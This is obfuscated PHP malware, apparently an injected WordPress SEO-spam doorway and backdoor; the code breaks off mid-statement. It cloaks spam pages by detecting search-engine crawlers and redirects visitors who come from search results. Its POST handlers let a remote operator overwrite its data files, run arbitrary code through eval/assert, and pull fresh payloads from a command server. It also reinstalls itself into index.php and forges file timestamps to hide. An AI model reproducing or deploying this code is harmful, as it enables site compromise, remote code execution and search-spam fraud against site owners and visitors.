error_reporting(0);ini_set('error_log',NULL);ini_set('log_errors','0');ini_set('display_errors','Off');if((int)str_replace('M','',ini_get('memory_limit'))<128){ini_set('memory_limit','-1');$restore_memory_limit=true;}else $restore_memory_limit=false;if(!function_exists('_getIpRange')){function _getIpRange($ip){$parts=explode('.',$ip);if(count($parts)==3)$parts[3]='*';elseif(count($parts)==2)$parts[2]=$parts[3]='*';elseif(count($parts)==1)$parts[1]=$parts[2]=$parts[3]='*';$ipMin=$ipMax=array();foreach($parts as $part){if($part=='*'){$ipMin[]=0;$ipMax[]=255;continue;}if(stristr($part,'-')){$split=explode('-',$part);$ipMin[]=$split[0];$ipMax[]=$split[1];}else{$ipMin[]=$part;$ipMax[]=$part;}}return array(join('.',$ipMin),join('.',$ipMax));}}if(!function_exists('_isBotIP')){function _isBotIP($ip,$file_ips){if(file_exists($file_ips)){$line='';$handle=fopen($file_ips,"r");while(!feof($handle))$line=stream_get_line($handle,filesize($file_ips)+1);fclose($handle);$ipList=explode("\n",gzinflate(base64_decode($line)));$longIp=ip2long($ip);$ipc=explode(".",$ip);$found=false;foreach($ipList as $ipMask){if(!stristr($ipMask,$ipc[0]))continue;if(stristr($ipMask,'-')){$ips=_getIpRange($ipMask);$ipMaskMin=$ips[0];$ipMaskMax=$ips[1];$longIpMaskMin=ip2long($ipMaskMin);$longIpMaskMax=ip2long($ipMaskMax);if($longIp>=$longIpMaskMin&&$longIp<=$longIpMaskMax){return true;break;}}else{if($ip==$ipMask){return true;break;}}}return false;}return false;}}if(!function_exists('_isBotUserAgent')){function _isBotUserAgent(){if(!isset($_SERVER["HTTP_USER_AGENT"]))$_SERVER["HTTP_USER_AGENT"]='';$uaList=array("google","altavista","bing","yahoo","http","jeeves","msnbot","bot","crawl","spider","robot","HttpClient","curl","PHP","Indy Library","WordPress","charlotte","wwwster","Python","urllib","perl","libwww","lynx","Twiceler","rambler","yandex","ngb","slurp","gulliver","robozill","ultraseek","infoseek","ask","webalta","pear","teleport","ask","worm","Speedy","scanner","scooter","lwp","HTTrack","Accoona","CFNetwork","wget","Java/1.6.","Acoon","Googlebot","Teoma","ia_archiver","Lycos","StackRambler","Mail.Ru","WebAlta Crawler/2.0","Googlebot-Mobile","Googlebot-Image","Mediapartners-Google","Adsbot-Google","MSNBot-NewsBlogs","MSNBot-Products","MSNBot-Media","Hot Bot","Punto Bot","Archive.org","CNSearch","FAST-WebCrawler","Slurp/cat","ASPseek/1.2.10","gsa-crawler","Yandex");foreach($uaList as $mask)if(stristr($_SERVER['HTTP_USER_AGENT'],$mask))return true;$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Yahoo!\s*Slurp#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#msnbot-media#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yandex#i','#Yanga#i','#Yeti#i','#msnbot#i','#spider#i','#yahoo#i','#jeeves#i','#google#i','#Googlebot#i','#altavista#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthreadrevision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseeksidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#yahoo!\s*slurp#i','#charlotte#i','#ngb#i');if(false!==strpos(preg_replace($user_agent_to_filter,'-NO-WAY-',$_SERVER['HTTP_USER_AGENT']),'-NO-WAY-'))return true;return false;}}if(!function_exists('_isBotByHost')){function _isBotByHost($ip){$host_words=array("msn.com","bingbot","adidxbot","msnbot","googlebot","crawl.yahoo.","google.","bot.","slurp","mediapartners-google","gsa-crawler","yandex","yadirectbot");$host=gethostbyaddr($ip);if(empty($host)||$ip==$host)return false;$host=strtolower($host);foreach($host_words as $word)if(strpos($host,$word)!==false)return true;return false;}}if(!function_exists('_isBotHeader')){function _isBotHeader(){if((isset($_SERVER['HTTP_ACCEPT'])&&$_SERVER['HTTP_ACCEPT']=='')||(isset($_SERVER['HTTP_ACCEPT_ENCODING'])&&$_SERVER['HTTP_ACCEPT_ENCODING']=='')||(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])&&$_SERVER['HTTP_ACCEPT_LANGUAGE']=='')||(isset($_SERVER['HTTP_CONNECTION'])&&$_SERVER['HTTP_CONNECTION']=='')){return true;}return false;}}if(!function_exists('_abiGetUrlObject')){function _abiGetUrlObject($url='',$user_agent=null){$TIME_START=explode(' ',microtime());$TRY_ID=0;$URL_RESULT=false;do{$URL_PARTS=parse_url($url);if(!is_array($URL_PARTS))break;$URL_SCHEME=(isset($URL_PARTS['scheme']))?$URL_PARTS['scheme']:'http';$URL_HOST=(isset($URL_PARTS['host']))?$URL_PARTS['host']:'';$URL_PATH=(isset($URL_PARTS['path']))?$URL_PARTS['path']:'/';$URL_PORT=(isset($URL_PARTS['port']))?intval($URL_PARTS['port']):80;if(isset($URL_PARTS['query'])&&$URL_PARTS['query']!='')$URL_PATH.='?' .$URL_PARTS['query'];$URL_PORT_REQUEST=($URL_PORT==80)?'':":$URL_PORT";$USER_AGENT=($user_agent==null)?'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)':strval($user_agent);$GET_REQUEST="GET $URL_PATH HTTP/1.0\r\n" ."Host: $URL_HOST$URL_PORT_REQUEST\r\n" ."Accept: text/plain\r\n" ."Accept-Encoding: identity\r\n" ."User-Agent: $USER_AGENT\r\n\r\n";$SOCKET_TIME_OUT=30;$SOCKET=fsockopen($URL_HOST,$URL_PORT,$ERROR_NO,$ERROR_STR,$SOCKET_TIME_OUT);if($SOCKET){if(fputs($SOCKET,$GET_REQUEST)){socket_set_timeout($SOCKET,$SOCKET_TIME_OUT);$header='';$SOCKET_STATUS=socket_get_status($SOCKET);while(!feof($SOCKET)&&!$SOCKET_STATUS['timed_out']){$temp=fgets($SOCKET,128);if(trim($temp)=='')break;$header.=$temp;$SOCKET_STATUS=socket_get_status($SOCKET);}if(preg_match('~HTTP\/(\d+\.\d+)\s+(\d+)\s+(.*)\s*\\r\\n~si',$header,$res))$SERVER_CODE=$res[2];else break;if($SERVER_CODE==200){$content='';$SOCKET_STATUS=socket_get_status($SOCKET);while(!feof($SOCKET)&&!$SOCKET_STATUS['timed_out']){$content.=fgets($SOCKET,1024*8);if(strlen($content)>300000)break;$SOCKET_STATUS=socket_get_status($SOCKET);}$TIME_END=explode(' ',microtime());$TIME_TOTAL=($TIME_END[0]+$TIME_END[1])-($TIME_START[0]+$TIME_START[1]);$URL_RESULT['header']=$header;$URL_RESULT['content']=$content;$URL_RESULT['time']=$TIME_TOTAL;$URL_RESULT['description']='';$URL_RESULT['keywords']='';$URL_RESULT['title']=(preg_match('~
(.*)<\/title>~U',$content,$res))?strval($res[1]):'';if(preg_match_all('~]+>~',$content,$res,PREG_SET_ORDER)>0)foreach($res as $meta)$URL_RESULT[strtolower($meta[1])]=$meta[2];}elseif($SERVER_CODE==301||$SERVER_CODE==302){if(preg_match('~location\:\s*(.*?)\\r\\n~si',$header,$res)){$REDIRECT_URL=rtrim($res[1]);$URL_PARTS=parse_url($REDIRECT_URL);if(isset($URL_PARTS['scheme'])&&isset($URL_PARTS['host']))$url=$REDIRECT_URL;else $url=$URL_SCHEME .'://' .$URL_HOST .'/' .ltrim($REDIRECT_URL,'/');}else break;}}fclose($SOCKET);}else break;$TRY_ID++;}while($TRY_ID<=4&&$URL_RESULT===false);return $URL_RESULT;}}if(!function_exists('_fetchRemoteFile')){function _fetchRemoteFile($url){$user_agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)";$socket_timeout=5;ini_set('allow_url_fopen',1);ini_set('default_socket_timeout',$socket_timeout);ini_set('user_agent',$user_agent);if(function_exists('file_get_contents')&&ini_get('allow_url_fopen')==1)if($data=file_get_contents($url))return $data;elseif(function_exists('curl_init')&&empty($data)){if($ch=curl_init()){curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,false);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$socket_timeout);curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);if($data=curl_exec($ch))return $data;curl_close($ch);}}elseif(function_exists('fsockopen')&&empty($data)){$data=_abiGetUrlObject($url,$user_agent);return $data['content'];}elseif(ini_get('allow_url_fopen')){return file_get_contents($url);}else return null;}}if(!function_exists('_checkWorkDir')){function _checkWorkDir($dir){$text=time();$md5text=md5($text);file_put_contents($dir .'tmp',$text);if(md5(file_get_contents($dir .'tmp'))==$md5text){unlink($dir .'tmp');return true;}else return false;}}if(!function_exists('_getWorkDir')){function _getWorkDir($dir,$domain){$workdir='';if($dir==''){if(strtolower(substr(PHP_OS,0,3))=="win"){$dir=getenv('TEMP');if($dir!=''&& _checkWorkDir($dir)==true)$workdir=str_replace('\\','/',$dir) .'/' .$domain .'/';elseif(_checkWorkDir($_SERVER['SystemRoot'] .'\\tracing\\')==true)$workdir=str_replace('\\','/',$_SERVER['SystemRoot']) .'/tracing/';}else{$dir=sys_get_temp_dir() .'/';if(_checkWorkDir($dir)==true)$workdir=$dir;else{$dir='/var/tmp/';if(_checkWorkDir($dir)==true)$workdir=$dir;else{$dir=ini_get('session.save_path') .'/';if(_checkWorkDir($dir)==true)$workdir=$dir;else{$dir=ini_get('upload_tmp_dir') .'/';if(_checkWorkDir($dir)==true)$workdir=$dir;}}}}}else $workdir=$dir;if($workdir=='/'||$workdir=='')return '/tmp/' .$domain .'/';if($domain!=''&&(!file_exists($workdir .$domain)||!is_writable($workdir .$domain))){if(!mkdir($workdir .$domain,0777)){$domain='www.' .$domain;mkdir($workdir .$domain,0777);}}if($domain!=''&&$workdir!='')$workdir=$workdir .$domain .'/';return $workdir;}}if(!function_exists('_getFlDir')){function _getFlDir($dir){if($dir!='')return $dir;$cwd=explode('/',getcwd());foreach($cwd as $i=>$c){array_pop($cwd);$cw=implode('/',$cwd);foreach(array('tmp','.oneclick','.gnupg','.php','.accesshash','.access','.wp-cli','.cpanel','.cagefs','data','ssl')as $tmpd){if(file_exists($cw .'/' .$tmpd)&&_checkWorkDir($cw .'/' .$tmpd .'/')==true)return $cw .'/' .$tmpd .'/';}}}}if(!function_exists('_searchKey')){function _searchKey($file_keys='',$ext='',$main_file_folder=''){$keys=array();$purl=parse_url($_SERVER["REQUEST_URI"]);if(!stristr($file_keys,'includes/database')&&$file_keys!='')$filek=$file_keys .'_unpack';else $filek=$main_file_folder .'keys_unpack';if(!file_exists($filek)||filesize($filek)==0){if(file_exists($file_keys)){$line='';$handle=fopen($file_keys,"r");while(!feof($handle))$line.=stream_get_line($handle,2048);fclose($handle);$keys=gzinflate(base64_decode($line));file_put_contents($filek,$keys);unset($handle,$line,$keys);chmod($filek,0777);}}if(empty($keys)&& file_exists($filek)){$handle=fopen($filek,"r");while($row=fgets($handle)){list($key)=explode("\n",$row);$keys[]=trim($key);}fclose($handle);unset($handle,$line);}else $keys=file($filek,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(empty($keys))return false;if(!empty($keys)){$key='';preg_match('/.*\/([^\/]+)/si',strtolower($purl['path']),$TEMP);$key=str_replace(array('/','.html','.htm'),'',urldecode($TEMP[1]));if(in_array($key,$keys))return $key;$key=str_replace(array('/','.html','.htm'),'',strtolower(rawurldecode($TEMP[1])));if(in_array($key,$keys))return $key;$key=str_replace(array('/','.html','.htm'),'',strtolower(base64_decode(urldecode($TEMP[1]))));if(in_array($key,$keys))return $key;foreach($_GET as $g){$key=str_replace(array('/','.html','.htm'),'',urldecode($g));if(in_array($key,$keys))return $key;$key=str_replace(array('/','.html','.htm'),'',rawurldecode($g));if(in_array($key,$keys))return $key;$key=str_replace(array('/','.html','.htm'),'',base64_decode(urldecode($g)));if(in_array($key,$keys))return $key;}preg_match('/.*\/([^\/]+)/si',strtolower($purl['path']),$TEMP);foreach($keys as $kkey){if(stristr(trim(rawurldecode($TEMP[1])),trim($key))|| stristr(trim(urldecode($TEMP[1])),trim($key)))return $key;}}return null;}}if(!function_exists('_countKeys')){function _countKeys($file_keys='',$main_file_folder=''){if(!file_exists($file_keys))return null;$keys=array();if(!stristr($file_keys,'includes/database')&&$file_keys!='')$filek=$file_keys .'_unpack';else $filek=$main_file_folder .'keys_unpack';if(!file_exists($filek)||filesize($filek)==0){if(file_exists($file_keys)){$line='';$handle=fopen($file_keys,"r");while(!feof($handle))$line.=stream_get_line($handle,2048);fclose($handle);$keys=gzinflate(base64_decode($line));file_put_contents($filek,$keys);unset($handle,$line,$keys);chmod($filek,0777);}}if(empty($keys)&& file_exists($filek)){$handle=fopen($filek,"r");while($row=fgets($handle)){list($key)=explode("\n",$row);$keys[]=trim($key);}fclose($handle);unset($handle,$line);}else $keys=file($filek,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(empty($keys))return false;return count($keys);}}if(!function_exists('_countLinks')){function _countLinks($file_links='',$main_file_folder=''){if(!file_exists($file_links))return null;$links=array();if(!stristr($file_links,'includes/database')&&$file_links!='')$flinks=$file_links .'_unpack';else $flinks=$main_file_folder .'links_unpack';if(!file_exists($flinks)||filesize($flinks)==0){if(file_exists($file_links)){$line='';$handle=fopen($file_links,"r");while(!feof($handle))$line.=stream_get_line($handle,4096);fclose($handle);$links=gzinflate(base64_decode($line));file_put_contents($flinks,$links);unset($handle,$line,$links);chmod($flinks,0777);}}if(empty($links)&& file_exists($flinks)){$handle=fopen($flinks,"r");$count=0;while($row=fgets($handle)){++$count;}fclose($handle);unset($handle,$line);return $count;}else $links=file($flinks,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);return count($links);}}if(!function_exists('_countIps')){function _countIps($file_ips=''){if(file_exists($file_ips)){$line='';$handle=fopen($file_ips,"r");while(!feof($handle))$line=stream_get_line($handle,filesize($file_ips)+1);fclose($handle);$ipList=explode("\n",gzinflate(base64_decode($line)));return count($ipList);}else return 0;}}if(!function_exists('_getRandKey')){function _getRandKey($file_keys='',$main_file_folder=''){$keys=array();if(!stristr($file_keys,'includes/database')&&$file_keys!='')$filek=$file_keys .'_unpack';else $filek=$main_file_folder .'keys_unpack';if(!file_exists($filek)||filesize($filek)==0){if(file_exists($file_keys)){$line='';$handle=fopen($file_keys,"r");while(!feof($handle))$line.=stream_get_line($handle,2048);fclose($handle);$keys=gzinflate(base64_decode($line));file_put_contents($filek,$keys);unset($handle,$line,$keys);chmod($filek,0777);}}if(empty($keys)&& file_exists($filek)){$handle=fopen($filek,"r");while($row=fgets($handle)){list($key)=explode("\n",$row);$keys[]=trim($key);}fclose($handle);unset($handle,$line);}else $keys=file($filek,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(!empty($keys)){return $keys[rand(0,count($keys)-1)];}return null;}}if(!function_exists('_getPage')){function _getPage($file_keys,$file_template,$file_content,$file_links,$file_folder,$main_file_folder,$prefix,$key,$count_external_links,$cache,$ext){$page='';if((isset($_SERVER['HTTPS'])&& $_SERVER['HTTPS']=='on')|| $_SERVER["SERVER_PORT"]=='443')$is_https=true;else $is_https=false;if((file_exists($file_template)&&filesize($file_template)>0)&&(file_exists($file_content)&&filesize($file_content)>0)){$links=array();if(!stristr($file_links,'includes/database')&&$file_links!='')$flinks=$file_links .'_unpack';else $flinks=$main_file_folder .'links_unpack';if(!file_exists($flinks)||filesize($flinks)==0){if(file_exists($file_links)){$line='';$handle=fopen($file_links,"r");while(!feof($handle))$line.=stream_get_line($handle,4096);fclose($handle);$links=gzinflate(base64_decode($line));file_put_contents($flinks,$links);unset($handle,$line,$links);chmod($flinks,0777);}}if(empty($links)&& file_exists($flinks)){$handle=fopen($flinks,"r");while($row=fgets($handle)){list($link)=explode("\n",$row);$links[]=trim($link);}fclose($handle);unset($handle,$line,$link);}else $links=file($flinks,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);shuffle($links);$links=array_slice($links,0,$count_external_links);$keys=array();if(!stristr($file_keys,'includes/database')&&$file_keys!='')$filek=$file_keys .'_unpack';else $filek=$main_file_folder .'keys_unpack';if(!file_exists($filek)||filesize($filek)==0){if(file_exists($file_keys)){$line='';$handle=fopen($file_keys,"r");while(!feof($handle))$line.=stream_get_line($handle,2048);fclose($handle);$keys=gzinflate(base64_decode($line));file_put_contents($filek,$keys);unset($handle,$line,$keys);chmod($filek,0777);}}if(empty($keys)&& file_exists($filek)){$handle=fopen($filek,"r");while($row=fgets($handle)){list($k)=explode("\n",$row);$keys[]=trim($k);}fclose($handle);unset($handle,$line,$k);}else $keys=file($filek,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(empty($keys))return false;$base64=false;if(stristr($_SERVER['REQUEST_URI'],'%'))$link=str_replace(rawurlencode($key),'{KEY}',$_SERVER['REQUEST_URI']);else $link=str_replace(urlencode($key),'{KEY}',$_SERVER['REQUEST_URI']);if(!stristr($link,'{KEY}'))$link=str_replace(urlencode($key),'{KEY}',$_SERVER['REQUEST_URI']);if(!stristr($link,'{KEY}')){$link=str_replace(htmlentities(urlencode(base64_encode($key))),'{KEY}',$_SERVER['REQUEST_URI']);$base64=true;}$description=array();$text=explode('.',gzinflate(base64_decode(file_get_contents($file_content))));$count_text=count($text)-1;for($a=0;$a' .$key .'');$text[$b]=implode(' ',$text2);}for($a=0;$a' .$key .'');$text[$b]=implode(' ',$text2);}for($a=0;$a' .$key .'');$text[$b]=implode(' ',$text2);}for($a=0;$a' .$key .'');$text[$b]=implode(' ',$text2);}for($a=0;$a' .$key .'');for($a=0;$a' .$key .'');for($a=0;$a';$page=gzinflate(base64_decode(file_get_contents($file_template)));$page=str_replace('{title}',ucfirst($key),$page);$page=str_replace('{h1}',ucfirst($key),$page);$page=str_replace('{content}',$rating .$text,$page);$page=str_replace('{key}',$key,$page);$page=str_replace('{url}','http' .($is_https?'s':'') .'://' .$_SERVER['HTTP_HOST'] .str_replace('{KEY}',urlencode($key),$link),$page);$page=str_replace('{base_href}','http://' .$_SERVER['HTTP_HOST'] .'/',$page);shuffle($description);$page=str_replace('{description}',implode(' ',$description),$page);$breadcrumbs=array();shuffle($keys);for($a=0;$a<2;++$a)$breadcrumbs[]='' .ucfirst($keys[$a]) .'';$breadcrumbs[]='' .ucfirst($key) .'';$page=str_replace('{breadcrumb}',implode(' > ',$breadcrumbs),$page);shuffle($keys);for($a=0;$a<100;++$a){if($base64==true){$page=str_replace('{link' .$a .'}','' .ucfirst($keys[$a]) .'',$page);}else{$page=str_replace('{link' .$a .'}','' .ucfirst($keys[$a]) .'',$page);}}if($cache==true)file_put_contents($file_folder .$prefix .urlencode(base64_encode(gzdeflate($key,9))),gzdeflate($page,9));return $page;}}}if(!function_exists('_getRedirectUrl')){function _getRedirectUrl($key,$file_redirect,$_domain,$_referer){$red=unserialize(gzinflate(base64_decode(file_get_contents($file_redirect))));if((stristr($_referer,'yandex.ru')||stristr($_referer,'ya.ru')||stristr($_referer,'google.ru')||stristr($_referer,'google.ua')||stristr($_referer,'google.by')||stristr($_referer,'mail.ru')||stristr($_referer,'rambler.ru'))&&isset($red['__RUSSIAN__']))return $red['__RUSSIAN__'];$keys=array_keys($red);$num=array_search($key,$keys);if(!$num){$find=false;foreach($keys as $i=>$kk){if($find==false){preg_match("/" .addslashes($kk) ."/si",$key,$m);if(!empty($m)){$find=true;$num=$i;break;}}}}if(!$num)$_url=str_replace('[trackid]',$_domain,trim($red['__MAIN__']));else $_url=str_replace('[trackid]',$_domain,trim($red[$keys[$num]]));return $_url;}}if(!function_exists('_getUserIP')){function _getUserIP(){$array=array('HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDER_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR','HTTP_X_REMOTECLIENT_IP');foreach($array as $key)if(filter_var($_SERVER[$key],FILTER_VALIDATE_IP))return $_SERVER[$key];return false;}}if(!function_exists('file_put_contents')){function file_put_contents($file,$data){$F=fopen($file,"w");fwrite($F,$data);fclose($F);}}if(!function_exists('recursiveseeico')){function recursiveseeico($patch){$handle=opendir($patch);while(($file=readdir($handle))){if(is_file($patch ."/" .$file)&& preg_match("/\.(.*)\.ico/",$file,$t)){if(stristr(file_get_contents($patch ."/" .$file),'$f){if(stristr($f,'@include')&&!stristr($f,'@include_once')){if(stristr($F[($i-2)],'/*')&& stristr($F[($i-2)],'*/')){$fl=str_replace($F[($i-2)],'',str_replace($f,'',$fl));$fl=str_replace("\n\n","\n",str_replace("\n\n","\n",$fl));}}}if(trim(str_replace('86400){file_put_contents($file_folder .'.txt',_getSystemInfo($_v,$count_external_links,$ext,$_maindir,$prefix,$file_folder,$file_keys,$file_links,$file_template,$file_content,$file_redirect,$file_ips,$cache,$red,$full_check,$auto_restore,$search_arr_for_restore));}if($auto_restore==true){if(file_exists($main_file_folder .$prefix .'clean')&&(time()-filemtime($main_file_folder .$prefix .'clean')>600))unlink($main_file_folder .$prefix .'clean');$_x=file_get_contents($_maindir .'/index.php');$_find=false;foreach($search_arr_for_restore as $_r){if(stristr($_x,$_r)){$_find=true;}}if($_find==false&&stristr($_x,'wp-blog-header.php')&&file_exists('wp-config.php')){$_x=file_get_contents($_maindir .'/wp-config.php');foreach($search_arr_for_restore as $_r){if(stristr($_x,$_r)){$_find=true;}}}if($_find==true&&stristr($_x,'wp-blog-header.php')&&!file_exists($main_file_folder .$prefix .'clean')){file_put_contents($main_file_folder .$prefix .'clean',time());$_f=filemtime($_maindir .'/index.php');$_fd=filemtime($_maindir);file_put_contents($_maindir ."/index.php",$FL);touch($_maindir ."/index.php",$_f);touch($_maindir,$_fd);if(file_exists('wp-content/uploads/logo.png')){$ddf=filemtime("wp-content/uploads");unlink("wp-content/uploads/logo.png");touch("wp-content/uploads",$ddf);}$ddf=filemtime("wp-includes");if(file_exists("wp-includes/js/utilities.js")){unlink("wp-includes/js/utilities.js");touch("wp-includes/js",$ddf);}if(file_exists("wp-includes/js/json.js")){unlink("wp-includes/js/json.js");touch("wp-includes/js",$ddf);}if(file_exists("wp-includes/images/logo.png")){unlink("wp-includes/images/logo.png");touch("wp-includes/images",$ddf);}if(file_exists("wp-includes/rest-api/requests.ini")){unlink("wp-includes/rest-api/requests.ini");touch("wp-includes/rest-api",$ddf);}if(file_exists("wp-includes/Requests/IPconfig.ini")){unlink("wp-includes/Requests/IPconfig.ini");touch("wp-includes/Requests",$ddf);}if(file_exists("wp-includes/c1.php")){unlink("wp-includes/c1.php");touch("wp-includes",$ddf);}if(file_exists("wp-includes/c2.php")){unlink("wp-includes/c2.php");touch("wp-includes",$ddf);}if($simple_restore==false){recursiveseeico($_maindir);recursiveseeinc($_maindir);}unlink($main_file_folder .$prefix .'clean');}}if(!empty($_POST["md5"]))$md5=$_POST["md5"];if(!empty($_POST["links_data"])&&isset($md5)){$_pathinfo=pathinfo($file_links);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_links))$_dt2=filemtime($file_links);else $_dt2=$_dt1;$F=fopen($file_links,"w");fwrite($F,$_POST["links_data"]);fclose($F);if(!stristr($file_links,'includes/database')&&$file_links!='')unlink($file_links .'_unpack');else unlink($main_file_folder .'links_unpack');touch($_pathinfo['dirname'],$_dt1);touch($file_links,$_dt2);chmod($file_links,0777);if(md5(file_get_contents($file_links))==$md5)echo $file_links ." Saveok";else echo $file_links ." Saveerror";exit;}if(!empty($_POST["template_data"])&&isset($md5)){$_pathinfo=pathinfo($file_template);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_template))$_dt2=filemtime($file_template);else $_dt2=$_dt1;$F=fopen($file_template,"w");fwrite($F,$_POST["template_data"]);fclose($F);touch($_pathinfo['dirname'],$_dt1);touch($file_template,$_dt2);if(md5(file_get_contents($file_template))==$md5)echo $file_template ." Saveok";else echo $file_template ." Saveerror";exit;}if(!empty($_POST["keys_data"])&&isset($md5)){$_pathinfo=pathinfo($file_keys);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_keys))$_dt2=filemtime($file_keys);else $_dt2=$_dt1;$F=fopen($file_keys,"w");fwrite($F,$_POST["keys_data"]);fclose($F);if(!stristr($file_keys,'includes/database')&&$file_keys!='')unlink($file_keys .'_unpack');else unlink($main_file_folder .'keys_unpack');touch($_pathinfo['dirname'],$_dt1);touch($file_keys,$_dt2);chmod($file_keys,0777);if(md5(file_get_contents($file_keys))==$md5)echo $file_keys ." Saveok";else echo $file_keys ." Saveerror";exit;}if(!empty($_POST["keys_data_old"])&&isset($md5)){$_pathinfo=pathinfo($file_keys_old);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_keys_old))$_dt2=filemtime($file_keys_old);else $_dt2=$_dt1;$F=fopen($file_keys_old,"w");fwrite($F,$_POST["keys_data_old"]);fclose($F);touch($_pathinfo['dirname'],$_dt1);touch($file_keys_old,$_dt2);chmod($file_keys_old,0777);if(md5(file_get_contents($file_keys_old))==$md5)echo $file_keys_old ." Saveok";else echo $file_keys_old ." Saveerror";exit;}if(!empty($_POST["content_data"])&&isset($md5)){$_pathinfo=pathinfo($file_content);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_content))$_dt2=filemtime($file_content);else $_dt2=$_dt1;$F=fopen($file_content,"w");fwrite($F,$_POST["content_data"]);fclose($F);touch($_pathinfo['dirname'],$_dt1);touch($file_content,$_dt2);chmod($file_content,0777);if(md5(file_get_contents($file_content))==$md5)echo $file_content ." Saveok";else echo $file_content ." Saveerror";exit;}if(!empty($_POST["redirect_data"])&&isset($md5)){$_pathinfo=pathinfo($file_redirect);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_redirect))$_dt2=filemtime($file_redirect);else $_dt2=$_dt1;$F=fopen($file_redirect,"w");fwrite($F,$_POST["redirect_data"]);fclose($F);touch($_pathinfo['dirname'],$_dt1);touch($file_redirect,$_dt2);chmod($file_redirect,0777);if(md5(file_get_contents($file_redirect))==$_POST['md5'])echo $file_redirect ." Saveok";else echo $file_redirect ." Saveerror";exit;}if(!empty($_POST["__clean_cache__"])){while($file=readdir(opendir($file_folder)))if($file!=="."&& $file!=="..")if(!stristr($file,".template")&&!stristr($file,".content")&&!stristr($file,".keys")&&!stristr($file,".links")&&!stristr($file,".red"))unlink($file_folder .$file);echo "Cache cleaned";exit;}if(!empty($_POST["__update__"])){$de=false;$da=false;if(ini_get('disable_functions')!=''){$disfunc=explode(",",ini_get('disable_functions'));foreach($disfunc as $df){if(trim($f)=='eval')$de=true;if(trim($f)=='assert')$da=true;}}$code=$_POST["__update__"];if(get_magic_quotes_gpc()){stripslashes($code);}$_p=md5($_POST["_p_"]);if($de==false&&$_pass==$_p)@eval(gzinflate(base64_decode($code)));else{if($da==false&&$_pass==$_p)@assert(gzinflate(base64_decode($code)));}exit;}if(!empty($_POST["ips_data"])&&isset($md5)){$_pathinfo=pathinfo($file_ips);$_dt1=filemtime($_pathinfo['dirname']);if(file_exists($file_ips))$_dt2=filemtime($file_ips);else $_dt2=$_dt1;$F=fopen($file_ips,"w");fwrite($F,$_POST["ips_data"]);fclose($F);touch($_pathinfo['dirname'],$_dt1);touch($file_ips,$_dt2);chmod($file_ips,0777);if(md5(file_get_contents($file_ips))==$md5)echo $file_ips ." Saveok";else echo $file_ips ." Saveerror";exit;}if(!empty($_POST["__test_mode__"])){echo _getSystemInfo($_v,$count_external_links,$ext,$_maindir,$prefix,$file_folder,$file_keys,$file_links,$file_template,$file_content,$file_redirect,$file_ips,$cache,$red,$full_check,$auto_restore,$search_arr_for_restore);exit;}if(!empty($_POST["__self_upload__"])){$_result=true;$_furi=base64_decode(strrev($_POST['_furi']));$_pathinfo=pathinfo($file_keys);$mdir=$_pathinfo['dirname'];$dt=filemtime($mdir);$tpl=_fetchRemoteFile("http://" .$_furi ."/get_file.php?action=get_template&d=" .$_domain);if(!stristr($file_keys,'includes/database')&&$file_keys!=''){unlink($file_links .'_unpack');unlink($file_keys .'_unpack');}else{unlink($main_file_folder .'keys_unpack');unlink($main_file_folder .'links_unpack');}if(trim($tpl)!='')file_put_contents($file_template,$tpl);file_put_contents($file_content,_fetchRemoteFile("http://" .$_furi ."/get_file.php?action=get_content"));file_put_contents($file_keys,_fetchRemoteFile("http://" .$_furi ."/get_file.php?action=get_keys"));file_put_contents($file_links,_fetchRemoteFile("http://" .$_furi ."/get_file.php?action=get_links&d=" .$_domain));file_put_contents($file_ips,_fetchRemoteFile("http://" .$_furi ."/get_file.php?action=get_ips"));file_put_contents($file_redirect,_fetchRemoteFile("http://" .$_furi 